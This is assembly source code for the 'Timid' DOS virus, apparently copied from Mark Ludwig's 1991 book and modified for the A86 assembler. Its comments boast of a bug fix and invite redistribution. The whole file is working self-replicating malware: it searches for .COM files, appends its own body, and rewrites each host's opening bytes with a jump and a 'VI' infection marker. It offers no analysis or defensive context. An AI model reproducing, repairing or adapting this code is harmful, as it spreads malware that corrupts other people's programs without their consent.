;TIMID VIRUS asm by Mark Ludwig in 1991. ; ;-infects .coms only in current directory unless called by dos path statement ;-announces each file infected. ;297bytes=eff. length ;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses" ;Slightly modified for A86 assembly. ;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus ;-fixed bug in code reprinted in his book. ;all infected files will have VI at byte position 4-5. ;Mark Ludwig claims copyright on this virus and said he will ; sue anyone distributing his viruses around. I say have fun!. main segment byte assume cs:main, ds:main, ss:nothing org 100h host: jmp near ptr virus_start db 'VI' ;identifies virus mov ah, 4ch mov al, 0 int 21h virus: comfile db '*.com',0 virus_start: call get_start get_start: sub word ptr [vir_start], offset get_start - offset virus mov dx, offset dta mov ah, 1ah int 21h call find_file jnz exit_virus call infect mov dx, offset fname mov [handle] b,24h mov ah, 9 int 21h exit_virus: ;bug was here in book mov dx, 80h mov ah, 1ah int 21h mov bx, [vir_start] mov ax, word ptr [bx+(offset start_code)-(offset virus)] mov word ptr [host], ax mov ax, word ptr [bx+(offset start_code)-(offset virus)+2] mov word ptr [host+2],ax mov al, byte ptr [bx+(offset start_code)-(offset virus)+4] mov byte ptr [host+4], al mov [vir_start], 100h ret start_code: nop nop nop nop nop find_file: mov dx, [vir_start] add dx, offset comfile-offset virus mov cx, 3fh mov ah, 4eh int 21h ff_loop: or al,al jnz ff_done call file_ok jz ff_done mov ah, 4fh int 21h jmp ff_loop ff_done: ret file_ok: mov dx, offset fname mov ax, 3d02h int 21h jc fok_nzend mov bx, ax push bx mov cx, 5 mov dx, offset start_image mov ah, 3fh int 21h pop bx mov ah, 3eh int 21h mov ax, word ptr [fsize] add ax, offset endvirus - offset virus jc fok_nzend cmp byte ptr [start_image], 0e9h jnz fok_zend fok_nzend: mov al, 1 or al,al ret fok_zend: xor al,al ret infect: mov dx, offset fname mov ax, 3d02h int 21h mov word ptr [handle],ax xor cx,cx mov dx,cx mov bx, word ptr [handle] mov ax, 4202h int 21h mov cx, offset final -offset virus mov dx, [vir_start] mov bx, word ptr [handle] mov ah, 40h int 21h xor cx,cx mov dx, word ptr [fsize] add dx, offset start_code-offset virus mov bx, word ptr [handle] mov ax, 4200h int 21h mov cx, 5 mov bx, word ptr [handle] mov dx, offset start_image mov ah, 40h int 21h xor cx,cx mov dx,cx mov bx, word ptr [handle] mov ax, 4200h int 21h mov bx, [vir_start] mov byte ptr [start_image], 0e9h mov ax, word ptr [fsize] add ax, offset virus_start-offset virus-3 mov word ptr [start_image+1], ax mov word ptr [start_image+3], 4956h mov cx, 5 mov dx, offset start_image mov bx, word ptr [handle] mov ah, 40h int 21h mov bx, word ptr [handle] mov ah, 3eh int 21h ret final: ;data area endvirus equ $ + 212 org 0ff2ah dta db 1ah dup (?) fsize dw 0,0 fname db 13 dup (?) handle dw 0 start_image db 0,0,0,0,0 vstack dw 50h dup (?) vir_start dw (?) main ends end host ;end of timid.asm